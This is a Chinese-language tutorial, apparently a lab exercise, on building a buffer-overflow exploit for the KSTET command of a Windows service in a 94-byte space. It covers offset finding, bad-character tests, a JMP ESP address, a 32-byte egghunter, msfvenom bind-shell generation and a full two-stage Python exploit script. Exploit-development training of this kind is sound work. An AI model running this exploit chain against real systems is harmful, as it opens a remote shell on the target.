使用Egghunter以最小的缓冲区空间开发KSTET命令
字数 1136 2025-08-25 22:58:46
使用Egghunter技术开发KSTET命令漏洞利用
漏洞概述
本教程详细介绍了如何利用Egghunter技术在有限的缓冲区空间(仅94字节)下开发KSTET命令的漏洞利用。通过精心设计的攻击链,我们最终实现了在目标系统上获取shell访问权限。
环境准备
- 目标系统: Windows系统运行的服务(IP: 192.168.1.129, 端口: 9999)
- 工具:
- Python
- Mona.py (Immunity Debugger插件)
- MSFvenom
漏洞利用开发步骤
1. 确定缓冲区大小和偏移量
首先确定KSTET命令接受的缓冲区大小:
buffer = "A"*1000
s.send("KSTET " + buffer)
发现只有前94字节被应用程序接受。
2. 生成唯一模式字符串
使用Mona生成1000字节的唯一模式字符串:
!mona pc 1000
发送该字符串后发现EIP被覆盖为63413363。
3. 计算精确偏移量
使用Mona分析确定偏移量:
!mona findmsp
发现偏移量为70字节。验证偏移量:
buffer = "A"*70 + "BBBB" + "C"*(1000-len(buffer))
确认EIP被4个B覆盖,ESP指向后面20字节的C。
4. 识别坏字符
分段测试坏字符:
badchars = ("\x01\x02\x03...\x4f") # 第一批
badchars = ("\x50\x51...\x9f") # 第二批
badchars = ("\xa0\xa1...\xcf") # 第三批
badchars = ("\xd0\xd1...\xff") # 第四批
最终确定只有\x00是坏字符。
5. 查找JMP ESP指令
使用Mona查找包含JMP ESP指令的地址:
!mona jmp -r esp -m 'essfunc.dll'
选择0x625011AF作为跳转地址。
6. 构建初始利用代码
buffer = "A"*70
buffer += "\xAF\x11\x50\x62" # JMP ESP 625011AF
buffer += "C"*(1000-len(buffer))
7. 添加回跳指令
由于空间有限,添加向后跳转50字节的指令:
buffer += "\xEB\xCE" # Jump back 50 bytes
8. 计算Egghunter位置
重新计算缓冲区布局:
- 原70字节A
- 4字节JMP ESP
- 2字节回跳操作码
- 回跳50字节
最终Egghunter前需要26字节A:
"A"*26 + egghunter + "A"*(70-26-egghunter长度) + JMP ESP + 回跳指令
9. 生成Egghunter
使用Mona生成Egghunter:
!mona egg -t Capt
Egghunter代码(32字节):
egghunter = (
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x43\x61\x70\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
)
10. 生成Shellcode
使用MSFvenom生成bind shell:
msfvenom -p windows/shell_bind_tcp EXITFUNC=thread -b "\x00" -f c
11. 完整利用代码
import socket
host = "192.168.1.129"
port = 9999
# MSFvenom生成的shellcode
shellcode = ("\xb8\x43\x44...")
# Egghunter
egghunter = ("\x66\x81\xca\xff\x0f...")
# 构建KSTET缓冲区
buffer = "A"*26
buffer += egghunter
buffer += "A"*(70-len(buffer))
buffer += "\xAF\x11\x50\x62" # JMP ESP
buffer += "\xEB\xCE" # Jump back 50 bytes
buffer += "C"*(1000-len(buffer))
# 第一阶段:通过STATS发送shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.recv(1024)
s.send("STATS " + "CaptCapt" + shellcode)
s.recv(1024)
s.close()
# 第二阶段:发送KSTET利用代码
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.recv(1024)
s.send("KSTET " + buffer)
s.recv(1024)
s.close()
攻击流程说明
- 首先通过STATS命令将带有"CaptCapt"标记的shellcode发送到内存中
- 然后发送KSTET利用代码:
- 触发漏洞覆盖EIP跳转到JMP ESP
- 执行回跳指令回到Egghunter代码
- Egghunter在内存中搜索"CaptCapt"标记并执行shellcode
- 成功后在目标系统4444端口打开bind shell
关键点总结
- 精确计算偏移量:70字节覆盖EIP
- 空间限制解决方案:使用Egghunter技术
- 内存布局设计:
- 26字节填充
- 32字节Egghunter
- 12字节填充(70-26-32)
- 4字节JMP ESP
- 2字节回跳指令
- 多阶段攻击:
- 第一阶段通过STATS存储shellcode
- 第二阶段通过KSTET触发漏洞
通过这种精心设计的攻击链,成功在极其有限的缓冲区空间(仅94字节)下实现了完整的漏洞利用。